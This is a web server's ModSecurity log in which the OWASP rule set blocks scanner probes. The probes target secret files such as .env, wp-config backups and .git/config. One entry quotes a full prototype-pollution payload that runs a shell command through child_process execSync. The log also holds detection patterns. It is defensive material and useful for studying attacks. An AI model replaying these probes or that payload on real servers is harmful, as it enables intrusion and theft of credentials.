[Fri Jan 09 12:55:29.379305 2026] [:error] [pid 1290989] [client 45.148.10.87:30574] [client 45.148.10.87] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.save&quot;] [unique_id &quot;aWDssbwxb_CFGAx2PBFS5AAAAAQ&quot;]
[Fri Jan 09 12:55:31.497061 2026] [:error] [pid 1293937] [client 45.148.10.87:30586] [client 45.148.10.87] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /wp-content/plugins/wp-mail-smtp/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-content/plugins/wp-mail-smtp/.env&quot;] [unique_id &quot;aWDssy30tpu2Qs_7o9cr6gAAAAY&quot;]
[Fri Jan 09 12:55:31.497305 2026] [:error] [pid 1293937] [client 45.148.10.87:30586] [client 45.148.10.87] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-content/plugins/wp-mail-smtp/.env&quot;] [unique_id &quot;aWDssy30tpu2Qs_7o9cr6gAAAAY&quot;]
[Fri Jan 09 12:55:31.497468 2026] [:error] [pid 1293937] [client 45.148.10.87:30586] [client 45.148.10.87] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-content/plugins/wp-mail-smtp/.env&quot;] [unique_id &quot;aWDssy30tpu2Qs_7o9cr6gAAAAY&quot;]
[Fri Jan 09 12:55:35.612180 2026] [:error] [pid 1290987] [client 45.148.10.87:30438] [client 45.148.10.87] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /wp/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp/.env&quot;] [unique_id &quot;aWDst5a6YpMWICkHe7jGNAAAAAI&quot;]
[Fri Jan 09 12:55:35.612492 2026] [:error] [pid 1290987] [client 45.148.10.87:30438] [client 45.148.10.87] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp/.env&quot;] [unique_id &quot;aWDst5a6YpMWICkHe7jGNAAAAAI&quot;]
[Fri Jan 09 12:55:35.612701 2026] [:error] [pid 1290987] [client 45.148.10.87:30438] [client 45.148.10.87] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp/.env&quot;] [unique_id &quot;aWDst5a6YpMWICkHe7jGNAAAAAI&quot;]
[Fri Jan 09 12:55:37.731579 2026] [:error] [pid 1291018] [client 45.148.10.87:30448] [client 45.148.10.87] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /bootstrap/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/bootstrap/.env&quot;] [unique_id &quot;aWDsufa-381C0T8V_x3aPgAAAAU&quot;]
[Fri Jan 09 12:55:37.731792 2026] [:error] [pid 1291018] [client 45.148.10.87:30448] [client 45.148.10.87] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/bootstrap/.env&quot;] [unique_id &quot;aWDsufa-381C0T8V_x3aPgAAAAU&quot;]
[Fri Jan 09 12:55:37.731949 2026] [:error] [pid 1291018] [client 45.148.10.87:30448] [client 45.148.10.87] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/bootstrap/.env&quot;] [unique_id &quot;aWDsufa-381C0T8V_x3aPgAAAAU&quot;]
[Fri Jan 09 12:56:04.516866 2026] [:error] [pid 1293937] [client 45.148.10.87:26144] [client 45.148.10.87] ModSecurity: Warning. Matched phrase &quot;wp-config.php&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: wp-config.php found within REQUEST_FILENAME: /wp-config.php.txt&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-config.php.txt&quot;] [unique_id &quot;aWDs1C30tpu2Qs_7o9cr6wAAAAY&quot;]
[Fri Jan 09 12:56:04.517090 2026] [:error] [pid 1293937] [client 45.148.10.87:26144] [client 45.148.10.87] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-config.php.txt&quot;] [unique_id &quot;aWDs1C30tpu2Qs_7o9cr6wAAAAY&quot;]
[Fri Jan 09 12:56:04.517235 2026] [:error] [pid 1293937] [client 45.148.10.87:26144] [client 45.148.10.87] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-config.php.txt&quot;] [unique_id &quot;aWDs1C30tpu2Qs_7o9cr6wAAAAY&quot;]
[Fri Jan 09 12:56:19.002620 2026] [:error] [pid 1290988] [client 45.148.10.87:33174] [client 45.148.10.87] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.bak&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/configuration.php.bak&quot;] [unique_id &quot;aWDs45nqcf3ij-c56sst1wAAAAM&quot;]
[Fri Jan 09 12:56:19.002934 2026] [:error] [pid 1290988] [client 45.148.10.87:33174] [client 45.148.10.87] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/configuration.php.bak&quot;] [unique_id &quot;aWDs45nqcf3ij-c56sst1wAAAAM&quot;]
[Fri Jan 09 12:56:19.003098 2026] [:error] [pid 1290988] [client 45.148.10.87:33174] [client 45.148.10.87] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/configuration.php.bak&quot;] [unique_id &quot;aWDs45nqcf3ij-c56sst1wAAAAM&quot;]
[Sun Jan 11 13:06:30.330747 2026] [:error] [pid 1336306] [client 204.76.203.25:49408] [client 204.76.203.25] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;aWOSRuullfRdfHpeOrl0cAAAAAU&quot;]
[Sun Jan 11 13:06:30.332825 2026] [:error] [pid 1336306] [client 204.76.203.25:49408] [client 204.76.203.25] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;aWOSRuullfRdfHpeOrl0cAAAAAU&quot;]
[Sun Jan 11 13:06:30.332994 2026] [:error] [pid 1336306] [client 204.76.203.25:49408] [client 204.76.203.25] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;aWOSRuullfRdfHpeOrl0cAAAAAU&quot;]
[Fri Jan 16 07:30:53.302196 2026] [:error] [pid 1444040] [client 195.178.110.191:1194] [client 195.178.110.191] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;aWnbHfn_5sIyKhJ5GAzdZQAAAAU&quot;]
[Fri Jan 16 07:30:53.303790 2026] [:error] [pid 1444040] [client 195.178.110.191:1194] [client 195.178.110.191] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;aWnbHfn_5sIyKhJ5GAzdZQAAAAU&quot;]
[Fri Jan 16 07:30:53.303959 2026] [:error] [pid 1444040] [client 195.178.110.191:1194] [client 195.178.110.191] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;aWnbHfn_5sIyKhJ5GAzdZQAAAAU&quot;]
[Sat Jan 17 06:13:46.255834 2026] [:error] [pid 1465637] [client 204.76.203.25:38088] [client 204.76.203.25] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;aWsaikwjzlOY5uJ3CcDYpAAAAAE&quot;]
[Sat Jan 17 06:13:46.256084 2026] [:error] [pid 1465637] [client 204.76.203.25:38088] [client 204.76.203.25] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;aWsaikwjzlOY5uJ3CcDYpAAAAAE&quot;]
[Sat Jan 17 06:13:46.257233 2026] [:error] [pid 1465637] [client 204.76.203.25:38088] [client 204.76.203.25] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;aWsaikwjzlOY5uJ3CcDYpAAAAAE&quot;]
[Sun Jan 18 08:14:37.930723 2026] [:error] [pid 1488428] [client 64.227.86.133:32960] [client 64.227.86.133] ModSecurity: Warning. Pattern match &quot;(?:\\\\$(?:\\\\((?:\\\\(.*\\\\)|.*)\\\\)|\\\\{.*\\\\})|[&lt;&gt;]\\\\(.*\\\\))&quot; at ARGS:0. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-932-APPLICATION-ATTACK-RCE.conf&quot;] [line &quot;372&quot;] [id &quot;932130&quot;] [msg &quot;Remote Command Execution: Unix Shell Expression Found&quot;] [data &quot;Matched Data: $((41*271))) found within ARGS:0: {then:$1:__proto__:then status:resolved_model reason:-1 value:{then:$b1337} _response:{_prefix:var res=process.mainmodule.require(child_process).execsync(echo $((41*271))).tostring().trim() throw object.assign(new error(next_redirect) {digest: `next_redirect push/login?a=${res} 307 `}) _chunks:$q2 _formdata:{get:$1:constructor:constructor}}}&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-shell&quot;] [tag &quot;platform-unix&quot;] [tag &quot;attack-rce&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/COMMAND_INJECTION&quot;] [tag &quot;WASCTC/WASC-31&quot;] [tag &quot;OWASP_TOP_10/A1&quot;] [tag &quot;PCI/6.5.2&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/&quot;] [unique_id &quot;aWyIXWOYMY3SUwS4bRsNvAAAAAU&quot;]
[Sun Jan 18 08:14:37.932996 2026] [:error] [pid 1488428] [client 64.227.86.133:32960] [client 64.227.86.133] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/&quot;] [unique_id &quot;aWyIXWOYMY3SUwS4bRsNvAAAAAU&quot;]
[Sun Jan 18 08:14:37.933178 2026] [:error] [pid 1488428] [client 64.227.86.133:32960] [client 64.227.86.133] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=5,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/&quot;] [unique_id &quot;aWyIXWOYMY3SUwS4bRsNvAAAAAU&quot;]
[Sun Jan 18 19:22:36.272969 2026] [:error] [pid 1490419] [client 216.81.248.168:37718] [client 216.81.248.168] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;aW0k7OUEoV5KHg2hnSzkWgAAAAo&quot;]
[Sun Jan 18 19:22:36.273242 2026] [:error] [pid 1490419] [client 216.81.248.168:37718] [client 216.81.248.168] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;aW0k7OUEoV5KHg2hnSzkWgAAAAo&quot;]
[Sun Jan 18 19:22:36.273396 2026] [:error] [pid 1490419] [client 216.81.248.168:37718] [client 216.81.248.168] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;aW0k7OUEoV5KHg2hnSzkWgAAAAo&quot;]
[Sun Jan 18 23:57:44.435269 2026] [:error] [pid 1501642] [client 4.190.201.130:11044] [client 4.190.201.130] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.php&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.php&quot;] [unique_id &quot;aW1laJqL558ZeyHGKUFg-gAAAAE&quot;]
